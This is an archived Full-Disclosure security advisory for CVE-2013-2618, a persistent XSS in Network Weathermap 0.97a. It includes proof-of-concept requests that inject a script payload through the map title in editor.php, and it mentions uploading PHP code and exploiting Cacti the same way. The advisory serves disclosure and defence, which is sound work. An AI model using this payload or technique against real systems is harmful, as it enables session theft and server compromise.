| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <CAKyu8DULydejbkjKbaWmEY45Uo=CM1TOvWA-Q7tKPsUYnNGaGg@mail.gmail.com>
Date: Mon, 1 Apr 2013 08:46:04 -0300
From: Daniel Ricardo dos Santos <danielrs@...plus.com.br>
To: full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com,
submissions@...ketstormsecurity.com
Subject: Network Weathermap 0.97a - Persistent XSS
Network Weathermap 0.97a - Persistent XSS
Earlier versions are also possibly vulnerable.
INFORMATION
Product: Network Weathermap 0.97a
Remote-exploit: yes
Vendor-URL: http://www.network-weathermap.com/
Discovered by: Daniel Ricardo dos Santos
CVE Request - 15/03/2013
CVE Assign - 18/03/2013
CVE Number - CVE-2013-2618
Vendor notification - 18/03/2013
Vendor reply - No reply
Public disclosure - 01/04/2013
OVERVIEW
Network Weathermap 0.97a is vulnerable to a persistent XSS when displaying
available files.
INTRODUCTION
Network Weathermap is a network visualisation tool, to take data you
already have and show you an overview of your network in map form.
Support is built in for RRD, MRTG (RRD and old log-format), and
tab-delimited text files. Other sources are via plugins or external scripts.
VULNERABILITY DESCRIPTION
The vulnerability happens when a user injects HTML and Javascript into the
title of a map in editor.php. This title is later shown to the user when
listing the files in editor.php?action=newfile
Besides the title, other fields also allow an attacker to upload malicious
PHP code to a webserver, which can later be executed if the attacker has
direct acess to that file.
This application is often used as a plugin for Cacti. The vulnerability can
be exploited in this mode as well, in
weathermap-cacti-plugin-mgmt.php?action=viewconfig&file=<affected_file> and
it can be used to exploit Cacti.
To test it, simply create a map or edit an existing one:
GET editor.php?mapname=test&action=newmap
Then edit the map title with the payload:
POST editor.php
plug=0&mapname=test&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&link_commentin=&link_commentposin=95&link_commentout=&link_commentposout=5&map_title=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E&map_legend=Traffic+Load&map_stamp=Created%3A+%25b+%25d+%25Y+%25H%3A%25M%3A%25S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=&editorsettings_showvias=0&editorsettings_showrelative=0&editorsettings_gridsnap=NO
Then display the titles:
GET editor.php
VERSIONS AFFECTED
Tested with version 0.97a (current release) but earlier versions are
possibly vulnerable.
SOLUTION
There is no official patch currently available.
NOTES
The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2013-2618 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org), which standardizes names for
security problems.
CREDITS
Daniel Ricardo dos Santos
SEC+ Information Security Company - http://www.secplus.com.br/
Content of type "text/html" skipped
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists